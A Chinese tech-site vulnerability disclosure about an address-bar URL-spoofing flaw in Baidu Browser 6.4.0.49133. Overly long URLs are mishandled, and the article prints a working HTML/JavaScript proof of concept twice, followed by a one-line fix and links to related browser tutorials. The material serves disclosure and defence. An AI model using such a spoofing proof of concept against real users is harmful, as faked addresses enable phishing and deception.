瀏覽器漏洞 百度瀏覽器6.4.0.49133 偽造任意網址
發(fā)布時間：2014-09-25 16:01:22 作者：佚名 
我要評論
我要評論百度瀏覽器近期發(fā)現(xiàn)漏洞，百度瀏覽器6.4.0.49133 一旦域名、網址URL長度大于4KB時處理出錯，例如將證明文件保存為c:\a.htm并打開，點擊連接后可以偽造任意網，需要的朋友可以參考下
百度瀏覽器近期發(fā)現(xiàn)漏洞，百度瀏覽器6.4.0.49133以及以前版本偽造任意網址漏洞，偽造任意協(xié)議（http/https/ftp...）、域名、網址URL長度大于4KB時處理出錯，例如將證明文件保存為c:\a.htm并打開，點擊連接后可以偽造任意網址。
同時URL過長的時候，會顯示“已收藏”圖標，估計是處理過長url時邏輯有點小問題漏洞證明：
復制代碼
代碼如下: <html>
<div id='c' style=''> //displaynone
ss
</div>
<a href="#" target="newwin" id='v' style="display:block" onclick="invokePoC();window.open('javascript：1;','newwin');">just click me</a>
<script>
function invokePoC() {
wx = open("http://www.baidu.com/account/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
","newwin");//setInterval("doit()",5000);
}
if(window.name == "newwin")
{
document.getElementById('c').innerText = ':). due to an internal error(>10Kbytes url), the fav icon will be shown. if you just want the shortest url, just make it for about 4KB';document.write("<title>:)</title>");
document.getElementById('v').style.display = 'none';}
</script>
</html>
<div id='c' style=''> //displaynone
ss
</div>
<a href="#" target="newwin" id='v' style="display:block" onclick="invokePoC();window.open('javascript：1;','newwin');">just click me</a>
<script>
function invokePoC() {
wx = open("http://www.baidu.com/account/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
","newwin");//setInterval("doit()",5000);
}
if(window.name == "newwin")
{
document.getElementById('c').innerText = ':). due to an internal error(>10Kbytes url), the fav icon will be shown. if you just want the shortest url, just make it for about 4KB';document.write("<title>:)</title>");
document.getElementById('v').style.display = 'none';}
</script>
</html>
修復方案：
無效URL及時過濾，以防止偽造網址，謝謝閱讀，希望能幫到大家，請繼續(xù)關注腳本之家，我們會努力分享更多優(yōu)秀的文章。
相關文章
- 百度瀏覽器常用快捷鍵都整理出來.供大家參考2012-10-26
- 百度瀏覽器升級之后不但能截圖什么的，還能翻譯網頁。那么百度瀏覽器怎么翻譯網頁？以及百度瀏覽器怎么使用翻譯插件呢？針對此問題，本文就為大家圖文介紹百度瀏覽器翻譯網2014-09-23
- 百度瀏覽器怎么用？今天小編給大家簡要的介紹下百度瀏覽器的使用方法，主要給大家分享下百度瀏覽器怎么安裝、百度瀏覽器怎么設置為默認瀏覽器、以及百度瀏覽器清理緩存，希2014-09-23
- 百度瀏覽器可以屏蔽各大網站出現(xiàn)的廣告大家知道嗎？那百度瀏覽器怎么屏蔽廣告？針對此問題，本文就為大家分享的兩個有效的方法2014-09-23
- 百度瀏覽器怎么翻譯，喜歡經常瀏覽一些國外網站的朋友，會非常方便與實用，下面是具體的操作過程，希望大家喜歡2014-09-25
- 目前網上有很多朋友們反映百度瀏覽器找不到卸載的功能，并且還有卸載不了的情況，那么，百度瀏覽器怎么卸載呢？針對此問題，本文就為大家詳細圖文介紹百度瀏覽器卸載教程2014-09-25
- 每天首次打開百度瀏覽器的時候，都會卡頓半天，因此打算先卸載百度瀏覽器，之后再重新安裝一遍試試，下面與大家分享下百度瀏覽器卸載方法，有遇到類似情況的朋友可以參考下2014-09-29
- 百度瀏覽器是最近比較火，非常不錯的國外加速頻道，良好的兼容性，站長必備工具啊，打開google也不用什么工具2014-10-07
- 新版的百度瀏覽器也支持了截圖功能，那么，我們如何使用百度瀏覽器進行網頁截圖？以及百度瀏覽器的截圖工具在哪里呢？針對此問題，本文就為大家介紹百度瀏覽器怎么截圖2014-10-10
- 網頁的字體大小，也是可以在瀏覽器上進行設置的，如果網頁上的字太小，通過放大，就看得比較舒服，看看下面的截圖就一目了然了2014-10-14